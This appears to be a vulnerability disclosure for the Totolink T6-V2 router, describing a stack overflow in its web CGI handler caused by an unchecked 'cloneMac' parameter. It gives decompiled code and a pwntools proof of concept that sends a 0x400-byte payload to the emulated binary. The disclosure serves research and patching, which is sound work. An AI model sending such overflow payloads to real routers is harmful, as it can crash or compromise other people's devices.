

main IoT-vuln / Totolink / T6-v2 / 9.setWanCfg /



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on May 29 History

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Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_0041af40` (at address `0x41af40`) gets the JSON parameter `cloneMac` , but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

296     }
297     websGetVar(param_1,"clone","0");
298     pcVar1 = (char *)websGetVar(param_1,"cloneMac","");
299     pcVar2 = (char *)websGetVar(param_1,"ttlWay","1");
300     local_160 = atoi(pcVar2);
301     apmib_set(0x485c,&local_160);
302     local_cc = 0;
303     local_c8 = 0;
304     local_c4 = 0;
305     local_c0 = 0;
306     local_bc = 0;
307     local_b8 = 0;
308     local_b4 = 0;
309     local_b0 = 0;
310     local_ac = 0;
311     local_a8 = 0;
312     local_a4 = 0;
313     local_a0 = 0;
314     local_9c = 0;
315     local_98 = 0;
316     local_94 = 0;
317     local_90 = 0;
318     if (pcVar1 != (char *)0x0) {
319         pcVar1 = strtok(pcVar1,":");
320         if (pcVar1 == (char *)0x0) goto LAB_0041bcc8;
321         strcat((char *)&local_cc,pcVar1);
322         while( true ) {
323             pcVar1 = strtok((char *)0x0,":");
324             if (pcVar1 == (char *)0x0) break;
325             strcat((char *)&local_cc,pcVar1);
326         }
327         FUN_004232bc(&local_cc,&local_ac,0xc);

```

PoC

```

from pwn import *
import json

data = {
    "topicurl": "setting/setWanCfg",
    "proto": "0",
    "staticIp": "192.168.2.1",
    "staticMask": "255.255.255.0",
    "staticGw": "192.168.2.1",
    "staticMtu": "0",
    "cloneMac": "A"*0x400
}

data = json.dumps(data)
print(data)

```

```
argv = [  
    "qemu-mipsel-static",  
    "-g", "1234",  
    "-L", "./root/",  
    "-E", "CONTENT_LENGTH={}".format(len(data)),  
    "-E", "REMOTE_ADDR=192.168.2.1",  
    "./cstecgi.cgi"  
]  
  
a = process(argv=argv)  
a.sendline(data.encode())  
  
a.interactive()
```